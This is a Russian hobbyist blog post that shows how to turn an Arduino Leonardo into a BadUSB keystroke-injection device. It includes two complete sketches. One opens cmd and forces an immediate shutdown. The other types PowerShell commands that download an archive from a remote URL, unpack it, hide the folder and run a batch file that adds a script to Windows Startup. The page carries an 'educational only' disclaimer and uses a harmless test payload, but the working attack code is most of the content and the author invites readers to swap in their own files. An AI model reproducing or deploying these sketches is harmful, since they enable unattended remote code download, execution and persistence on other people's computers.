• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to secondary sidebar
  • Skip to footer

У Павла!

  • Контроллеры
    • Arduino
      • Приборы
      • Музыка
      • Проекты Arduino
      • Уроки Arduino
      • Игры на Arduino
      • Роботы на Ардуино
      • FLProg
    • Одноплатные ПК
      • Orange pi
      • Raspberry pi
        • Raspberry pi pico
        • Raspberry pi server
        • Проекты Raspberry pi
    • ESP
      • ESP8266
        • NodeMCU
      • ESP32
      • M5stack
    • Другие контроллеры
      • STM32
  • Умный дом
    • Home Assistant
      • Автоматизации
      • Lovelace
    • Tuya
    • Bluetooth
    • ESPHome
    • Frigate
    • Telegram
    • Яндекс
  • ЧПУ
  • 3d печать
  • Об авторе

BadUSB устройство на базе arduino leonardo

12 августа, 2019

Для реализации примера нам понадобится:

Arduino на микроконтроллере atmega 32u4: http://ali.pub/3ncdj8

Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.

 

Важно:Данная статья создана исключительно для ознакомления, автор не несет ответственности за Ваши деяния и не побуждает повторять подобное. Статья создана исключительно в ознакомительных целях.

В этой статье я попробую рассказать о том как можно навредить вашему компьютеру через usb порт. Данный тип атаки на компьютер частенько используют хакеры и называется он Badusb.

BadUSB — класс хакерских атак, основанный на уязвимости USB устройств. Благодаря отсутствию защиты от перепрошивки в некоторых USB-устройствах, злоумышленник может видоизменить или полностью заменить оригинальную прошивку и заставить устройство имитировать любое другое устройство. BadUSB предназначен для доставки и исполнения вредоносного кода.

Так как микроконтроллер Atmega32u4 умеет работать как hit устройство (клавиатура или мышь) то можно написать код для имитации нажатия клавиш. Мы делали что-то подобное в статье когда использовали arduino leonardo и rfid метки для авторизации на компьютере. Тогда мы прикладывали авторизационную карточку и у нас вводился пароль от компьютера, как аз он вводился “имитацией нажатия клавиш” . Ссылка на статью тут.

И так, первый пример который я Вам покажу очень простой, мы сделаем так, что когда устройство подключим к компьютеру по usb, он у нас выключится. Назовем скетч “poweroff” Он выглядит следующим образом:

#include <Keyboard.h>
void setup() {
  Keyboard.begin();
  delay(3000);//Delay
  Keyboard.press(KEY_LEFT_GUI);//Кнопка win
  delay(500); 
  Keyboard.press('r');//Win+R
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.println("cmd"); // вызываем командную строку
  Keyboard.press(KEY_RETURN);//Enter
  delay(500);
  Keyboard.release(KEY_RETURN);
  delay(500); 
  Keyboard.println("shutdown -s -f -t 0"); //Shutdown
  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);
  Keyboard.end();
}
void loop()
{
}

Данная программа при подключении к компьютеру вызывает командную строку и вводит команду “shutdown -s -f -t 0”, что приводит к выключению компьютера. Но есть одно но программа все корректно введет, если будет стоять английская раскладка клавиатуры. Существует несколько вариантов обхода данного неудобства, но пока я не буду Вам о них рассказывать, хватит для первого раза и этого. Данный скетч можно скачать по ссылке: https://yadi.sk/d/vha87lq2gB3nmQ

Еще есть вариант для поиграться, это вариант от AlexGyver он там делает из такого устройства имитацию разных нажатий и это будет очень раздражать. Ссылка.

С простыми примерами разобрались, теперь давайте немного усложним, а именно при подключении устройства к компьютеру устройство скачает архив с удаленного сервера, разархивирует из него два .bat файла, и запустит один из них. Тот .bat файл который мы запустим копирует второй файл в автозагрузку. BAT файл который мы отправим в автозагрузку будет при каждом включении компьютера создавать на рабочем столе текстовый файл с сообщением test. Естественно вы можете заменить .bat файлы на свои и сделать что-то другое, я лишь расскажу о способе доставки скриптов на Ваш компьютер для того чтоб Вы не допустили такого с Вашим ПК.

Итак скетч выглядит следующим образом:

#include <Keyboard.h>
void setup(){
    Keyboard.begin();
    delay(2000);
    createFolder();
    getFiles();
    setUpFiles();
}
void loop(){}
void winPlusR() {
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(45);
    Keyboard.releaseAll();
    delay(100);
}
void createFolder(){
    winPlusR();
    // запусаем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(500);
    // переходим надиск C:\
    Keyboard.println("cd C:/"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // создаём папку "Downloads"
    Keyboard.println("mkdir Downloads"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
}
void getFiles(){
    winPlusR();
    // открываем powershell
    Keyboard.println("powershell"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
   
    // переходим в папку Downloads
    Keyboard.println("cd C:/Downloads/"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
    // задаём адрес для скачивания
    Keyboard.println("$download_url = 'https://drive.google.com/uc?authuser=0&id=1F6rZPuMAb5MZlHoc3lAgvXUCr42cpn7W&export=download'"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
    // задаём локальный путь для сохранения файла
    Keyboard.println("$local_path = 'C:/Downloads/arch.zip'"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
    // запускаем веб клиент
    Keyboard.println("$WebClient = New-Object System.Net.WebClient"); 
    Keyboard.write(KEY_RETURN);
    delay(500);
    // качаем архив
    Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)"); 
    Keyboard.write(KEY_RETURN);
    delay(1250);
    // распаковываем его
    Keyboard.println("Expand-Archive arch.zip"); 
    Keyboard.write(KEY_RETURN);
    delay(750);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(200);
}
void setUpFiles(){
    winPlusR();
    // открываем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // переходим на диск C:\
    Keyboard.println("cd C:/");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // делаем папку Downloads невидимой для пользователя
    Keyboard.println("attrib +h Downloads");
    Keyboard.write(KEY_RETURN);
    
    delay(100);
    // Делаем файлы в папке Downloads невидимыми
    Keyboard.println("attrib +h Downloads/");
    Keyboard.write(KEY_RETURN);
    delay(100);
    //Переходим в разархивированную папку
    Keyboard.println("cd C:/Downloads/arch/");
    Keyboard.write(KEY_RETURN);
    //Запускаем скрипт "copy.bat"
    Keyboard.println("copy.bat");
    Keyboard.write(KEY_RETURN);
    // прописываем в автозагрузку
    //Keyboard.println("copy arch.bat C:/Users/оператор/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup ");
    //Keyboard.write(KEY_RETURN);
    delay(250);
    // стираем написанное и закрываем cmd
    Keyboard.println("cls && exit");
    Keyboard.write(KEY_RETURN);
    
}

Скетч можно скачать по ссылке:https://yadi.sk/d/stIfN2CLADi73w

На этом пока все, если тема интересна, то пишите предложения в комментариях или в комментариях под видео.

Видео с демонстрацией работы:

Primary Sidebar

Поиск

Новые записи

  • Умные шторы – как правильно их выбрать?
  • Автоматизация открытия и закрытия штор в Home Assistant.
  • Лучшая карточка Lovelace управления шторами в Home Assistant.
  • Интеграция ИИ Deepseek в Home Assistant
  • Выводим уведомления из умного дома Home Assistant на Android TV с помощью программы TvOverlay.

Официальный YouTube Канал M5Stack:

Подписывайтесь на Телеграм канал

https://t.me/ypavla

Подписаться на YouTube!

Secondary Sidebar




Подписывайтесь на Telegram Канал!

У Павла!

Footer

Copyright_У Павла! © 2025 ·